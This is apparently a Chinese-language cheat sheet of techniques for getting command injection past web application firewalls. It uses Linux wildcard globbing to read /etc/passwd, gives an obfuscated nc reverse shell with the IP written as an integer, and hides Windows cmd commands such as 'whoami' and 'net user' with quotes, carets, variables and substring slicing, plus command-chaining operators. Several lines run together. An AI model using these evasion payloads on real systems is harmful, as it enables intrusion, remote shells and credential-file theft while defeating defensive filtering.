


WAF绕过
-命令执行

* 代表『 0 个到无穷多个』任意字符
? 代表『一定有一个』任意字符
[ ] 同样代表『一定有一个在括号内』的字符(非任意字符)。例如 [abcd] 代表『一定有一个字符, 可能是 a, b, c, d 这四个任何一个』
[ - ] 若有减号在中括号内时,代表『在编码顺序内的所有字符』。例如 [0-9] 代表 0 到 9 之间的所有数字,因为数字的语系编码是连续的!
[^ ] 若中括号内的第一个字符为指数符号 (^) ,那表示『反向选择』,例如 [^abc] 代表 一定有一个字符,只要是非 a, b, c 的其他字符就接受的意思。
例如
ls -l/?in/ls -l

有时候waf不允许使用太多的“?”
/?in/cat /?tc/p?sswd

NC反弹shell
nc -e /bin/bash 127.0.0.1 3737为了避免符号,我们可以将ip地址转换为整型使用通配符/?in/nc -e /??n/b??h 2130706433 3737


echo helloecho h'ello>'echo 'h'ell'o'
唯一需要注意的就是闭合
/'b'i'n'/'c'a't' /'e't'c'/'p'a's's'w'd


whoamiw"h"o"a"m"iw"h"o"a"m"i"wh""o^a^miwh""o^am"i((((wh^o^am""i))))

可以加无数个"",但是不能连续加2个^符号,因为^号是cmd中的转义符会被转义
w""""""""""hoamiw""""""""""hoa^m""iw""""""""""hoa^^m""i

set命令可以用来设置一个变量。%括起来的变量,会引用其变量内的值
set a=whoami%a%

命令拼接set a=whoset b=ami%a%%b%set a=w""hoset b=a^mi%a%%b%set a=ser && set b=ne && set c=t u && call %b%%c%%a%


cmd /C "set env=net user && call echo &env&"cmd /C "set env1=ser && set env2=ne&& set env3=t u&& call %env2%%env3%%env1%"


set a=whoami
%a:~0%
%a:~0,6%
%a:~0,5%

截取字符串的语法就是%变量名:x,y%即对变量从第x个元素开始提取,总共取y个字符
-x,-y表示从后往前取
net%CommonProgramFiles:~10,1%user

set命令可以用来设置一个变量。%括起来的变量,会引用其变量内的值
set a=whoami%a%

d^i^r%CommonProgramFiles:~10,1%%commonprogramfiles:~0,3%//~10,1对应空格,~0,3对应"C:"

|在cmd中,可以连接命令,且智慧执行后面那条命令
whoami | ping www.baidu.comping www.baidu.com | wh""oam^i

|| 只有前面的命令失败,才会执行后面的语句
&符号,前面的命令无论能否执行成功,后面的命令都会执行,而&&符号则必须两条命令都为真
ping www.baidu.com || whoamiping xxx || whoami

ping www.baidu.com & whoamiping xxx & whoamiping www.baidu.com && whoamiping xxx && whoami


for循环参数有/L /F参数
for 参数 %变量名 in (相关文件或命令) do 执行的命令for /L %variable in (start,step,end) do command [command-parameters]cmd /C "for /L %i in (1,1,5) do start cmd"
/F参数是最强大的命令,用来处理文件和一些命令的输出结果
FOR /F ["options"] %variable IN (file-set) DO command [command-parameters]FOR /F ["options"] %variable IN ("string") DO command [command-parameters]FOR /F ["options"] %variable IN ('command') DO command [command-parameters]





